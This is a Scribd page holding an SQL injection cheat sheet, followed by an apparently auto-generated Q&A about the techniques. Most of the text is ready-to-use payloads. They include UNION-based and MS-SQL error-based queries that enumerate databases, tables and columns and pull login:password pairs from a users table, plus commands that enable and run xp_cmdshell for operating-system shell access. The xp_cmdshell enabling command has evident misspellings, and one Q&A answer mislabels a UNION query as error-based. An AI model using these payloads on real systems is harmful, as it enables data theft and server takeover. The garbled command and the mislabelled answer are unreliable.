0% found this document useful (0 votes)
16 views4 pages

SQL Injection Techniques and Exploits

Uploaded by

SM creative
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
16 views4 pages

SQL Injection Techniques and Exploits

Uploaded by

SM creative
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

# SQL injection

## Introduction It is an attack in which an attacker inserts untrusted data in


the application that results in revealing sensitive information of the database.
SQL Injection (SQLi) is a code injection attack where an attacker manipulates
the data being sent to the server to execute malicious SQL statements to control
a web application’s database server, thereby accessing, modifying and deleting
unauthorized data. This attack is mainly used to take over database servers.
- In-band SQLi (Classic SQLi) - Error-based SQLi - Union-based SQLi - Infer-
ential SQLi (Blind SQLi) - Boolean-based (content-based) Blind SQLi - Time-
based Blind SQLi - Out-of-band SQLi
## Where to find Everywhere
## How to exploit # SQLI tricks
## GET
### Error-Based
### Simple test
‘Adding a simpe quote ’‘
Example: ‘[Link]
### Fuzzing
Sorting columns to find maximum column
‘[Link] order by 1‘
‘[Link] order by 2‘
‘[Link] order by 3‘
(until it stop returning errors)
---
### Finding what column is injectable
**mysql** ‘[Link] union select 1, 2, 3‘
(using the same amount of columns you got on the previous step)
**postgresql** ‘[Link] union select
NULL, NULL, NULL‘ (using the same amount of columns you got on the
previous step)
one of the columns will be printed with the respective number
---
#### Finding version

1
‘[Link] union select 1, 2, version()‘
**mysql** ‘[Link] union select NULL,
NULL, version()‘ **postgres**s
#### Finding database name
‘[Link] union select 1,2, database()‘
**mysql**
‘[Link] union select NULL,NULL,
database()‘ **postgres**
#### Finding usernames logged in
‘[Link] union select 1, 2, current_user()‘
**mysql**
#### Finding databases
‘[Link] union select 1, 2, schema_name
from information_schema.schemata‘ **mysql**
‘[Link] union select 1, 2, datname from
pg_database‘ **postgres**
#### Finding table names from a database
‘[Link] union select 1, 2, table_name
from information_schema.tables where table_schema=”database_name”‘
**mysql**
‘[Link] union select 1, 2, tablename from
pg_tables where table_catalog=”database_name”‘ **postgres**
#### Finding column names from a table
‘[Link] union select 1, 2, column_name
from information_schema.columns where table_schema=”database_name”
and table_name=”tablename”‘ **mysql**
‘[Link] union select 1, 2, column_name
from information_schema.columns where table_catalog=”database_name”
and table_name=”tablename”‘ **postgres**
#### Concatenate
Example:
‘[Link] union select 1, 2, login from
users;‘ ‘[Link] union select 1, 2, pass-
word from users;‘
in one query

2
‘[Link] union select 1, 2, con-
cat(login,’:’,password) from users;‘ **mysql** ‘[Link]
1/?id=-1 union select 1, 2, login||’:’||password from users;‘ **postgres**
### Error Based SQLI (USUALLY MS-SQL)
#### Current user
‘[Link] or 1 in (SELECT TOP 1
CAST(user_name() as varchar(4096)))--‘
#### DBMS version
‘[Link] or 1 in (SELECT TOP 1
CAST(@@version as varchar(4096)))--‘
#### Database name
‘[Link] or db_name(0)=0 --‘
#### Tables from a database
‘[Link] or 1 in (SELECT TOP 1
CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype=’U’)--‘
---
‘[Link] or 1 in (SELECT TOP 1
CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype=’U’
AND name NOT IN (’previouslyFoundTable’,...))--‘
#### Columns within a table
‘[Link] or 1 in (SELECT TOP 1
CAST(dbname..[Link] as varchar(4096)) FROM dbname..syscolumns,
dbname..sysobjects WHERE dbname..[Link]=dbname..[Link]
AND dbname..[Link] = ’tablename’)--‘
> remember to change **dbname** and **tablename** accordingly with the
given situation > after each iteration a new column name will be found, make
sure add it to ** previously found column name ** separated by comma as on
the next sample
‘[Link] or 1 in (SELECT TOP 1
CAST(dbname..[Link] as varchar(4096)) FROM dbname..syscolumns,
dbname..sysobjects WHERE dbname..[Link]=dbname..[Link]
AND dbname..[Link] = ’tablename’ AND dbname..[Link]
NOT IN(’previously found column name’, ...))--‘
#### Actual data
‘[Link] or 1 in (SELECT TOP 1
CAST(columnName as varchar(4096)) FROM tablename)--‘

3
> after each iteration a new column name will be found, make sure add it to **
previously found column name ** separated by comma as on the next sample
‘[Link] or 1 in (SELECT TOP 1
CAST(columnName as varchar(4096)) FROM tablename AND name NOT
IN(’previously found row data’))--‘
#### Shell commands
‘EXEC master..xp_cmdshell <command>‘
> you need yo be ’sa’ user
#### Enabling shell commands
‘EXEC sp_configure ’show advanced options’, 1; RECONFIGURE; EXEC
sp_congigure ’xp_shell’, 1; RECONFIGURE;‘

Common questions

Powered by AI

Out-of-band SQL Injection sends data over a different channel, such as via HTTP requests or DNS queries, and is used when direct (in-band) responses are not possible or reliable. This type of injection is useful when the system does not return errors or data through the original channel but may log events or open external communications requests where data extraction can occur .

Boolean-based Blind SQL Injection retrieves data by inferring information based on the application's responses to injected statements that evaluate to true or false. Attackers execute conditions and observe changes or lack of them in the application's behavior or response content. For instance, injecting '1=1' or '1=0' to determine whether queries return content helps attackers infer bit-by-bit information about the database without directly exposing data .

SQL Injection (SQLi) is a code injection attack in which an attacker inserts malicious SQL statements into an input field of a web application. This manipulation allows attackers to access, modify, or delete unauthorized data in the database server of the application. The attack can result in the exposure of sensitive information and the potential takeover of database servers .

An attacker identifies injectable columns by first performing a column count check using ORDER BY to determine the number of columns, as seen with queries such as 'http://vulnerable-website.com/Less-1/?id=-1 order by 1'. They then perform UNION SELECT injections, like 'http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, 3', substituting column values until one returns results. This identifies which columns can be manipulated to inject data .

The different types of SQL Injection mentioned are In-band SQLi (Classic SQLi), Error-based SQLi, Union-based SQLi, Inferential SQLi (Blind SQLi), which includes Boolean-based (content-based) Blind SQLi and Time-based Blind SQLi, and Out-of-band SQLi. In-band SQLi directly uses the same communication channel as the original request, allowing attackers to extract data using SQL error messages or concatenate queries. Blind SQLi, on the other hand, does not reveal data directly but relies on the server's behavior or response time to infer information. Out-of-band SQLi requires a separate channel and is used when other types are not feasible .

An attacker can use error-based SQL Injection to determine the version of a database management system by manipulating input to trigger an error message that reveals the version information. For example, by using 'http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, version()' in mysql, the attacker can extract the DBMS version from the error response .

Defending against SQL Injection involves multiple strategies: employing parameterized queries, using stored procedures, and employing rigorous input validation to ensure input doesn't alter query structure. Additionally, utilizing prepared statements and ORM frameworks helps prevent concatenation attacks. Regular security audits, database permissions hygiene, and maintaining up-to-date software versions are crucial for risk management. Implementing Web Application Firewalls (WAFs) adds a layer of security to identify and block suspicious traffic .

An attacker can execute shell commands through SQL Injection by crafting SQL queries that leverage built-in database functions, such as 'EXEC master..xp_cmdshell <command>' on SQL Server. Prerequisites include having sufficient database permissions, usually the sa (system administrator) user, and enabling specific configurations like 'xp_cmdshell'. This action requires the application to allow command execution through SQL Injection, often requiring additional exploit capabilities .

Time-based Blind SQL Injection explores server response times to infer information about the database. The attacker injects SQL commands that cause deliberate server delays for true conditions, such as 'WAITFOR DELAY '0:0:5''. By observing the time taken for the server to respond, they discern true or false conditions for extracted data, pulling individual bits of information iteratively. This technique circumvents normal output channels and is particularly useful when content or error-based tactics are impractical .

An attacker can find table names within a specific database by using UNION-based SQL Injection to query the metadata schema. For example, they can use 'http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, table_name from information_schema.tables where table_schema="database_name"' for mysql or an equivalent query for postgresql. By iterating through these queries, attackers can identify all tables present in the targeted database .

You might also like